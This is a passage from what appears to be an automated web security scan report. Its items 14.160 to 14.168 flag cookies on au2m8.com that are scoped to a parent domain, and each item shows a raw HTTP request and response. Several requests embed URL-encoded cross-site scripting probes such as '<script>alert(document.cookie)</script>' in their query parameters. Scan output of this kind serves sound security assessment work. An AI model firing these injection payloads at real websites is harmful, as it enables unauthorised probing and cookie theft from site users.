    <meat http-equiv="Expires" CONTENT="Sun, 06 Feb 2011 17:02:09 GMT">
    <title>THE BIG CATCH </title>
    <style type='text/css'>
    <!--

...[SNIP]...

14.160. http://www.au2m8.com/v/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.au2m8.com
Path:	/v/

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

bpl1297012366=1297008766; expires=Sun, 06-Feb-2011 17:12:46 GMT; path=/; domain=.au2m8.com
videoID=expired; expires=Sun, 06-Feb-2011 17:12:46 GMT; path=/; domain=.au2m8.com
auto=expired; expires=Sun, 06-Feb-2011 17:12:46 GMT; path=/; domain=.au2m8.com
playlist=5731%2C4881; expires=Tue, 08-Feb-2011 16:12:46 GMT; path=/; domain=.au2m8.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /v/?ps=26&cw=47379&pID=11909&skinName=light&t=484711&pr=www.kledy.co.uk%2F&psource=www.kledy.co.uk%2F&poR=http%3A%2F%2Fburp%2Fshow%2F64&poS=http%3A%2F%2Fwww.kledy.co.uk%2F%3Fb6885%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253E58b3310da99%3D1&jr=1&jr=2&jr=3&jr=4&jr=5&jr=6 HTTP/1.1
Host: www.au2m8.com
Proxy-Connection: keep-alive
Referer: http://www.au2m8.com/v/?ps=26&cw=47379&pID=11909&skinName=light&t=484711&pr=www.kledy.co.uk%2F&psource=www.kledy.co.uk%2F&poR=http%3A%2F%2Fburp%2Fshow%2F64&poS=http%3A%2F%2Fwww.kledy.co.uk%2F%3Fb6885%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253E58b3310da99%3D1&jr=1&jr=2&jr=3&jr=4&jr=5
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: countryID=us; ARPT=NQJKKYS192.168.100.219CKOWU; bpl1297012232=1297008632; bpl1297012271=1297008671; bpl1297012287=1297008687; bpl1297012302=1297008702; bpl1297012317=1297008717; bpl1297012335=1297008735; bpl1297012351=1297008751; bpl1297012352=1297008752; videoID=expired; auto=expired; playlist=5731%2C4881; j2playlist=5731

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:12:46 GMT
Server: Apache
X-Powered-By: PHP/5.2.14
Cache-Control: max-age=0, no-cache, must-revalidate, proxy-revalidate, s-maxage=0
Expires: Sun, 06 Feb 2011 16:12:46 GMT
Last-Modified: Sun, 06 Feb 2011 16:12:46 GMT
Set-Cookie: bpl1297012366=1297008766; expires=Sun, 06-Feb-2011 17:12:46 GMT; path=/; domain=.au2m8.com
Set-Cookie: videoID=expired; expires=Sun, 06-Feb-2011 17:12:46 GMT; path=/; domain=.au2m8.com
Set-Cookie: auto=expired; expires=Sun, 06-Feb-2011 17:12:46 GMT; path=/; domain=.au2m8.com
Set-Cookie: playlist=5731%2C4881; expires=Tue, 08-Feb-2011 16:12:46 GMT; path=/; domain=.au2m8.com
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 11352

...<html>
    <head>
    <meat http-equiv="Expires" CONTENT="Sun, 06 Feb 2011 16:12:46 GMT">
    <title>THE BIG CATCH </title>
    <style type='text/css'>
    <!--

...[SNIP]...

14.161. http://www.au2m8.com/v/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.au2m8.com
Path:	/v/

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

bpl1297012636=1297009036; expires=Sun, 06-Feb-2011 17:17:16 GMT; path=/; domain=.au2m8.com
videoID=expired; expires=Sun, 06-Feb-2011 17:17:16 GMT; path=/; domain=.au2m8.com
auto=expired; expires=Sun, 06-Feb-2011 17:17:16 GMT; path=/; domain=.au2m8.com
playlist=5731%2C4881; expires=Tue, 08-Feb-2011 16:17:16 GMT; path=/; domain=.au2m8.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /v/?ps=26&cw=39927&pID=11909&skinName=light&t=62092&pr=www.kledy.us%2F&psource=www.kledy.us%2F&poR=http%3A%2F%2Fburp%2Fshow%2F68&poS=http%3A%2F%2Fwww.kledy.us%2F%3F88099%2522%253E%253Cscript%253Ealert(String.fromCharCode(88%2C83%2C83))%253C%2Fscript%253E31a8b6ec06f%3D1&jr=1&jr=2&jr=3&jr=4 HTTP/1.1
Host: www.au2m8.com
Proxy-Connection: keep-alive
Referer: http://www.au2m8.com/v/?ps=26&cw=39927&pID=11909&skinName=light&t=62092&pr=www.kledy.us%2F&psource=www.kledy.us%2F&poR=http%3A%2F%2Fburp%2Fshow%2F68&poS=http%3A%2F%2Fwww.kledy.us%2F%3F88099%2522%253E%253Cscript%253Ealert(String.fromCharCode(88%2C83%2C83))%253C%2Fscript%253E31a8b6ec06f%3D1&jr=1&jr=2&jr=3
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: countryID=us; ARPT=NQJKKYS192.168.100.219CKOWU; bpl1297012232=1297008632; bpl1297012271=1297008671; bpl1297012287=1297008687; bpl1297012302=1297008702; bpl1297012317=1297008717; bpl1297012335=1297008735; bpl1297012351=1297008751; bpl1297012352=1297008752; bpl1297012366=1297008766; bpl1297012367=1297008767; bpl1297012383=1297008783; bpl1297012398=1297008798; bpl1297012414=1297008814; bpl1297012429=1297008829; bpl1297012444=1297008844; bpl1297012486=1297008886; bpl1297012502=1297008902; bpl1297012517=1297008917; bpl1297012532=1297008932; bpl1297012533=1297008933; bpl1297012548=1297008948; bpl1297012549=1297008949; bpl1297012563=1297008963; bpl1297012564=1297008964; bpl1297012569=1297008969; bpl1297012579=1297008979; bpl1297012585=1297008985; bpl1297012595=1297008995; bpl1297012601=1297009001; bpl1297012610=1297009010; bpl1297012620=1297009020; bpl1297012626=1297009026; videoID=expired; auto=expired; playlist=5731%2C4881; j2playlist=5731

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:17:16 GMT
Server: Apache
X-Powered-By: PHP/5.2.14
Cache-Control: max-age=0, no-cache, must-revalidate, proxy-revalidate, s-maxage=0
Expires: Sun, 06 Feb 2011 16:17:16 GMT
Last-Modified: Sun, 06 Feb 2011 16:17:16 GMT
Set-Cookie: bpl1297012636=1297009036; expires=Sun, 06-Feb-2011 17:17:16 GMT; path=/; domain=.au2m8.com
Set-Cookie: videoID=expired; expires=Sun, 06-Feb-2011 17:17:16 GMT; path=/; domain=.au2m8.com
Set-Cookie: auto=expired; expires=Sun, 06-Feb-2011 17:17:16 GMT; path=/; domain=.au2m8.com
Set-Cookie: playlist=5731%2C4881; expires=Tue, 08-Feb-2011 16:17:16 GMT; path=/; domain=.au2m8.com
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 11380

...<html>
    <head>
    <meat http-equiv="Expires" CONTENT="Sun, 06 Feb 2011 16:17:16 GMT">
    <title>THE BIG CATCH </title>
    <style type='text/css'>
    <!--

...[SNIP]...

14.162. http://www.au2m8.com/v/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.au2m8.com
Path:	/v/

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

bpl1297018518=1297014918; expires=Sun, 06-Feb-2011 18:55:18 GMT; path=/; domain=.au2m8.com
videoID=expired; expires=Sun, 06-Feb-2011 18:55:18 GMT; path=/; domain=.au2m8.com
auto=expired; expires=Sun, 06-Feb-2011 18:55:18 GMT; path=/; domain=.au2m8.com
playlist=5731%2C4881; expires=Tue, 08-Feb-2011 17:55:18 GMT; path=/; domain=.au2m8.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /v/?ps=26&cw=328795&pID=11909&skinName=light&pw=350&ph=250&wmode=window&t=370468&pr=www.peppernews.eu%2F&psource=www.peppernews.eu%2F&poR=http%3A%2F%2Fburp%2Fshow%2F97&poS=http%3A%2F%2Fwww.peppernews.eu%2F%3Fd7d65%2522%253E%253Cscript%253Ealert(String.fromCharCode(88%2C83%2C83))%253C%2Fscript%253Ef6336f06cd4%3D1&jr=1&jr=2&jr=3&jr=4&jr=5 HTTP/1.1
Host: www.au2m8.com
Proxy-Connection: keep-alive
Referer: http://www.au2m8.com/v/?ps=26&cw=328795&pID=11909&skinName=light&pw=350&ph=250&wmode=window&t=370468&pr=www.peppernews.eu%2F&psource=www.peppernews.eu%2F&poR=http%3A%2F%2Fburp%2Fshow%2F97&poS=http%3A%2F%2Fwww.peppernews.eu%2F%3Fd7d65%2522%253E%253Cscript%253Ealert(String.fromCharCode(88%2C83%2C83))%253C%2Fscript%253Ef6336f06cd4%3D1&jr=1&jr=2&jr=3&jr=4
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: countryID=us; ARPT=NQJKKYS192.168.100.219CKOWU; bpl1297012620=1297009020; bpl1297012626=1297009026; bpl1297012636=1297009036; bpl1297012651=1297009051; bpl1297012667=1297009067; bpl1297016038=1297012438; bpl1297016059=1297012459; bpl1297016091=1297012491; bpl1297016107=1297012507; bpl1297016122=1297012522; bpl1297016139=1297012539; bpl1297016155=1297012555; videoID=expired; auto=expired; playlist=5731%2C4881; j2playlist=5731

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 17:55:18 GMT
Server: Apache
X-Powered-By: PHP/5.2.14
Cache-Control: max-age=0, no-cache, must-revalidate, proxy-revalidate, s-maxage=0
Expires: Sun, 06 Feb 2011 17:55:18 GMT
Last-Modified: Sun, 06 Feb 2011 17:55:18 GMT
Set-Cookie: bpl1297018518=1297014918; expires=Sun, 06-Feb-2011 18:55:18 GMT; path=/; domain=.au2m8.com
Set-Cookie: videoID=expired; expires=Sun, 06-Feb-2011 18:55:18 GMT; path=/; domain=.au2m8.com
Set-Cookie: auto=expired; expires=Sun, 06-Feb-2011 18:55:18 GMT; path=/; domain=.au2m8.com
Set-Cookie: playlist=5731%2C4881; expires=Tue, 08-Feb-2011 17:55:18 GMT; path=/; domain=.au2m8.com
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 11538

...<html>
    <head>
    <meat http-equiv="Expires" CONTENT="Sun, 06 Feb 2011 17:55:18 GMT">
    <title>THE BIG CATCH </title>
    <style type='text/css'>
    <!--

...[SNIP]...

14.163. http://www.au2m8.com/v/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.au2m8.com
Path:	/v/

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

bpl1297018429=1297014829; expires=Sun, 06-Feb-2011 18:53:49 GMT; path=/; domain=.au2m8.com
videoID=expired; expires=Sun, 06-Feb-2011 18:53:49 GMT; path=/; domain=.au2m8.com
auto=expired; expires=Sun, 06-Feb-2011 18:53:49 GMT; path=/; domain=.au2m8.com
playlist=5731%2C4881; expires=Tue, 08-Feb-2011 17:53:49 GMT; path=/; domain=.au2m8.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /v/?ps=26&cw=328795&pID=11909&skinName=light&pw=350&ph=250&wmode=window&t=370468&pr=www.peppernews.eu%2F&psource=www.peppernews.eu%2F&poR=http%3A%2F%2Fburp%2Fshow%2F97&poS=http%3A%2F%2Fwww.peppernews.eu%2F%3Fd7d65%2522%253E%253Cscript%253Ealert(String.fromCharCode(88%2C83%2C83))%253C%2Fscript%253Ef6336f06cd4%3D1&jr=1&jr=2&jr=3 HTTP/1.1
Host: www.au2m8.com
Proxy-Connection: keep-alive
Referer: http://www.au2m8.com/v/?ps=26&cw=328795&pID=11909&skinName=light&pw=350&ph=250&wmode=window&t=370468&pr=www.peppernews.eu%2F&psource=www.peppernews.eu%2F&poR=http%3A%2F%2Fburp%2Fshow%2F97&poS=http%3A%2F%2Fwww.peppernews.eu%2F%3Fd7d65%2522%253E%253Cscript%253Ealert(String.fromCharCode(88%2C83%2C83))%253C%2Fscript%253Ef6336f06cd4%3D1&jr=1&jr=2
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: countryID=us; ARPT=NQJKKYS192.168.100.219CKOWU; bpl1297012585=1297008985; bpl1297012595=1297008995; bpl1297012601=1297009001; bpl1297012610=1297009010; bpl1297012620=1297009020; bpl1297012626=1297009026; bpl1297012636=1297009036; bpl1297012651=1297009051; bpl1297012667=1297009067; bpl1297016038=1297012438; bpl1297016059=1297012459; bpl1297016091=1297012491; bpl1297016107=1297012507; bpl1297016122=1297012522; videoID=expired; auto=expired; playlist=5731%2C4881; j2playlist=5731

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 17:53:49 GMT
Server: Apache
X-Powered-By: PHP/5.2.14
Cache-Control: max-age=0, no-cache, must-revalidate, proxy-revalidate, s-maxage=0
Expires: Sun, 06 Feb 2011 17:53:49 GMT
Last-Modified: Sun, 06 Feb 2011 17:53:49 GMT
Set-Cookie: bpl1297018429=1297014829; expires=Sun, 06-Feb-2011 18:53:49 GMT; path=/; domain=.au2m8.com
Set-Cookie: videoID=expired; expires=Sun, 06-Feb-2011 18:53:49 GMT; path=/; domain=.au2m8.com
Set-Cookie: auto=expired; expires=Sun, 06-Feb-2011 18:53:49 GMT; path=/; domain=.au2m8.com
Set-Cookie: playlist=5731%2C4881; expires=Tue, 08-Feb-2011 17:53:49 GMT; path=/; domain=.au2m8.com
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 11508

...<html>
    <head>
    <meat http-equiv="Expires" CONTENT="Sun, 06 Feb 2011 17:53:49 GMT">
    <title>THE BIG CATCH </title>
    <style type='text/css'>
    <!--

...[SNIP]...

14.164. http://www.au2m8.com/v/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.au2m8.com
Path:	/v/

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

bpl1297012232=1297008632; expires=Sun, 06-Feb-2011 17:10:32 GMT; path=/; domain=.au2m8.com
videoID=expired; expires=Sun, 06-Feb-2011 17:10:32 GMT; path=/; domain=.au2m8.com
auto=expired; expires=Sun, 06-Feb-2011 17:10:32 GMT; path=/; domain=.au2m8.com
playlist=5731%2C4881; expires=Tue, 08-Feb-2011 16:10:32 GMT; path=/; domain=.au2m8.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /v/?ps=26&cw=47379&pID=11909&skinName=light&t=938777&pr=www.kledy.co.uk%2F&psource=www.kledy.co.uk%2F&poR=http%3A%2F%2Fburp%2Fshow%2F64&poS=http%3A%2F%2Fwww.kledy.co.uk%2F%3Fb6885%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253E58b3310da99%3D1 HTTP/1.1
Host: www.au2m8.com
Proxy-Connection: keep-alive
Referer: http://files.video-loader.com/au2m8_preloader/37211909126091178247379.htm?vs=1&r=www.kledy.co.uk%2F&s=www.kledy.co.uk%2F&poR=http%3A%2F%2Fburp%2Fshow%2F64&poS=http%3A%2F%2Fwww.kledy.co.uk%2F%3Fb6885%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253E58b3310da99%3D1&t=862030
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: countryID=us; playlist=5731%2C4881; j2playlist=4881

Response

HTTP/1.1 200 OK
Set-Cookie: ARPT=NQJKKYS192.168.100.219CKOWU; path=/
Date: Sun, 06 Feb 2011 16:10:32 GMT
Server: Apache
X-Powered-By: PHP/5.2.14
Cache-Control: max-age=0, no-cache, must-revalidate, proxy-revalidate, s-maxage=0
Expires: Sun, 06 Feb 2011 16:10:32 GMT
Last-Modified: Sun, 06 Feb 2011 16:10:32 GMT
Set-Cookie: bpl1297012232=1297008632; expires=Sun, 06-Feb-2011 17:10:32 GMT; path=/; domain=.au2m8.com
Set-Cookie: videoID=expired; expires=Sun, 06-Feb-2011 17:10:32 GMT; path=/; domain=.au2m8.com
Set-Cookie: auto=expired; expires=Sun, 06-Feb-2011 17:10:32 GMT; path=/; domain=.au2m8.com
Set-Cookie: playlist=5731%2C4881; expires=Tue, 08-Feb-2011 16:10:32 GMT; path=/; domain=.au2m8.com
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 11266

...<html>
    <head>
    <meat http-equiv="Expires" CONTENT="Sun, 06 Feb 2011 16:10:32 GMT">
    <title>THE BIG CATCH </title>
    <style type='text/css'>
    <!--

...[SNIP]...

14.165. http://www.au2m8.com/v/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.au2m8.com
Path:	/v/

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

bpl1297015337=1297011737; expires=Sun, 06-Feb-2011 18:02:17 GMT; path=/; domain=.au2m8.com
videoID=expired; expires=Sun, 06-Feb-2011 18:02:17 GMT; path=/; domain=.au2m8.com
auto=expired; expires=Sun, 06-Feb-2011 18:02:17 GMT; path=/; domain=.au2m8.com
playlist=5731%2C4881; expires=Tue, 08-Feb-2011 17:02:17 GMT; path=/; domain=.au2m8.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /v/?ps=26&cw=26263692aa%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E395e61b488b&pID=11909&skinName=light&t=685356&pr=www.kledy.de%2Fbookmarks.php&psource=www.kledy.de%2Fbookmarks.php&poR=http%3A%2F%2Fburp%2Fshow%2F34&poS=http%3A%2F%2Fwww.kledy.de%2Fbookmarks.php%3F18fe2%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253Eef67307aec5%3D1&jr=1&jr=2&jr=3&jr=4&jr=5 HTTP/1.1
Host: www.au2m8.com
Proxy-Connection: keep-alive
Referer: http://www.au2m8.com/v/?ps=26&cw=26263692aa%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E395e61b488b&pID=11909&skinName=light&t=685356&pr=www.kledy.de%2Fbookmarks.php&psource=www.kledy.de%2Fbookmarks.php&poR=http%3A%2F%2Fburp%2Fshow%2F34&poS=http%3A%2F%2Fwww.kledy.de%2Fbookmarks.php%3F18fe2%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253Eef67307aec5%3D1&jr=1&jr=2&jr=3&jr=4
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: countryID=us; bpl1297002238=1296998638; ARPT=NQJKKYS192.168.100.219CKOWU; bpl1297002287=1296998687; bpl1297002302=1296998702; bpl1297002318=1296998718; videoID=expired; auto=expired; playlist=5731%2C4881; j2playlist=4881

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 17:02:17 GMT
Server: Apache
X-Powered-By: PHP/5.2.14
Cache-Control: max-age=0, no-cache, must-revalidate, proxy-revalidate, s-maxage=0
Expires: Sun, 06 Feb 2011 17:02:17 GMT
Last-Modified: Sun, 06 Feb 2011 17:02:17 GMT
Set-Cookie: bpl1297015337=1297011737; expires=Sun, 06-Feb-2011 18:02:17 GMT; path=/; domain=.au2m8.com
Set-Cookie: videoID=expired; expires=Sun, 06-Feb-2011 18:02:17 GMT; path=/; domain=.au2m8.com
Set-Cookie: auto=expired; expires=Sun, 06-Feb-2011 18:02:17 GMT; path=/; domain=.au2m8.com
Set-Cookie: playlist=5731%2C4881; expires=Tue, 08-Feb-2011 17:02:17 GMT; path=/; domain=.au2m8.com
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 11521

...<html>
    <head>
    <meat http-equiv="Expires" CONTENT="Sun, 06 Feb 2011 17:02:17 GMT">
    <title>Facebook Tutorial </title>
    <style type='text/css'>
    <!--

...[SNIP]...

14.166. http://www.au2m8.com/v/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.au2m8.com
Path:	/v/

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

bpl1297012272=1297008672; expires=Sun, 06-Feb-2011 17:11:12 GMT; path=/; domain=.au2m8.com
videoID=expired; expires=Sun, 06-Feb-2011 17:11:12 GMT; path=/; domain=.au2m8.com
auto=expired; expires=Sun, 06-Feb-2011 17:11:12 GMT; path=/; domain=.au2m8.com
playlist=5731%2C4881; expires=Tue, 08-Feb-2011 16:11:12 GMT; path=/; domain=.au2m8.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /v/?ps=26&cw=47379&pID=11909&skinName=light&t=484711&pr=www.kledy.co.uk%2F&psource=www.kledy.co.uk%2F&poR=http%3A%2F%2Fburp%2Fshow%2F64&poS=http%3A%2F%2Fwww.kledy.co.uk%2F%3Fb6885%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253E58b3310da99%3D1 HTTP/1.1
Host: www.au2m8.com
Proxy-Connection: keep-alive
Referer: http://files.video-loader.com/au2m8_preloader/37211909126091178247379.htm?vs=1&r=www.kledy.co.uk%2F&s=www.kledy.co.uk%2F&poR=http%3A%2F%2Fburp%2Fshow%2F64&poS=http%3A%2F%2Fwww.kledy.co.uk%2F%3Fb6885%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253E58b3310da99%3D1&t=271024
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: countryID=us; ARPT=NQJKKYS192.168.100.219CKOWU; bpl1297012232=1297008632; videoID=expired; auto=expired; playlist=5731%2C4881; j2playlist=5731

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:11:12 GMT
Server: Apache
X-Powered-By: PHP/5.2.14
Cache-Control: max-age=0, no-cache, must-revalidate, proxy-revalidate, s-maxage=0
Expires: Sun, 06 Feb 2011 16:11:12 GMT
Last-Modified: Sun, 06 Feb 2011 16:11:12 GMT
Set-Cookie: bpl1297012272=1297008672; expires=Sun, 06-Feb-2011 17:11:12 GMT; path=/; domain=.au2m8.com
Set-Cookie: videoID=expired; expires=Sun, 06-Feb-2011 17:11:12 GMT; path=/; domain=.au2m8.com
Set-Cookie: auto=expired; expires=Sun, 06-Feb-2011 17:11:12 GMT; path=/; domain=.au2m8.com
Set-Cookie: playlist=5731%2C4881; expires=Tue, 08-Feb-2011 16:11:12 GMT; path=/; domain=.au2m8.com
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 11266

...<html>
    <head>
    <meat http-equiv="Expires" CONTENT="Sun, 06 Feb 2011 16:11:12 GMT">
    <title>THE BIG CATCH </title>
    <style type='text/css'>
    <!--

...[SNIP]...

14.167. http://www.au2m8.com/v/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.au2m8.com
Path:	/v/

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

bpl1297014717=1297011117; expires=Sun, 06-Feb-2011 17:51:57 GMT; path=/; domain=.au2m8.com
videoID=expired; expires=Sun, 06-Feb-2011 17:51:57 GMT; path=/; domain=.au2m8.com
auto=expired; expires=Sun, 06-Feb-2011 17:51:57 GMT; path=/; domain=.au2m8.com
playlist=5731%2C4881; expires=Tue, 08-Feb-2011 16:51:57 GMT; path=/; domain=.au2m8.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /v/?ps=26&cw=47379&pID=11909&skinName=light&t=484711&pr=www.kledy.co.uk%2F&psource=www.kledy.co.uk%2F&poR=http%3A%2F%2Fburp%2Fshow%2F64&poS=http%3A%2F%2Fwww.kledy.co.uk%2F%3Fb6885%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253E58b3310da99%3D1&jr=1&jr=2&jr=3&jr=4&jr=5 HTTP/1.1
Host: www.au2m8.com
Proxy-Connection: keep-alive
Referer: http://www.au2m8.com/v/?ps=26&cw=47379&pID=11909&skinName=light&t=484711&pr=www.kledy.co.uk%2F&psource=www.kledy.co.uk%2F&poR=http%3A%2F%2Fburp%2Fshow%2F64&poS=http%3A%2F%2Fwww.kledy.co.uk%2F%3Fb6885%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253E58b3310da99%3D1&jr=1&jr=2&jr=3&jr=4
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: countryID=us; ARPT=NQJKKYS192.168.100.219CKOWU; bpl1297012232=1297008632; bpl1297012271=1297008671; bpl1297012287=1297008687; bpl1297012302=1297008702; bpl1297012317=1297008717; bpl1297012335=1297008735; videoID=expired; auto=expired; playlist=5731%2C4881; j2playlist=5731

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:51:57 GMT
Server: Apache
X-Powered-By: PHP/5.2.14
Cache-Control: max-age=0, no-cache, must-revalidate, proxy-revalidate, s-maxage=0
Expires: Sun, 06 Feb 2011 16:51:57 GMT
Last-Modified: Sun, 06 Feb 2011 16:51:57 GMT
Set-Cookie: bpl1297014717=1297011117; expires=Sun, 06-Feb-2011 17:51:57 GMT; path=/; domain=.au2m8.com
Set-Cookie: videoID=expired; expires=Sun, 06-Feb-2011 17:51:57 GMT; path=/; domain=.au2m8.com
Set-Cookie: auto=expired; expires=Sun, 06-Feb-2011 17:51:57 GMT; path=/; domain=.au2m8.com
Set-Cookie: playlist=5731%2C4881; expires=Tue, 08-Feb-2011 16:51:57 GMT; path=/; domain=.au2m8.com
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 11341

...<html>
    <head>
    <meat http-equiv="Expires" CONTENT="Sun, 06 Feb 2011 16:51:57 GMT">
    <title>THE BIG CATCH </title>
    <style type='text/css'>
    <!--

...[SNIP]...

14.168. http://www.au2m8.com/v/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.au2m8.com
Path:	/v/

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

bpl1297014819=1297011219; expires=Sun, 06-Feb-2011 17:53:39 GMT; path=/; domain=.au2m8.com
videoID=expired; expires=Sun, 06-Feb-2011 17:53:39 GMT; path=/; domain=.au2m8.com
auto=expired; expires=Sun, 06-Feb-2011 17:53:39 GMT; path=/; domain=.au2m8.com
playlist=5731%2C4881; expires=Tue, 08-Feb-2011 16:53:39 GMT; path=/; domain=.au2m8.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /v/?ps=26&cw=47865&pID=11909&skinName=light&t=620692&pr=www.kledy.es%2F&psource=www.kledy.es%2F&poR=http%3A%2F%2Fburp%2Fshow%2F65&poS=http%3A%2F%2Fwww.kledy.es%2F%3Fbc891%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253E5d09625540c%3D1&jr=1&jr=2&jr=3&jr=4 HTTP/1.1
Host: www.au2m8.com
Proxy-Connection: keep-alive
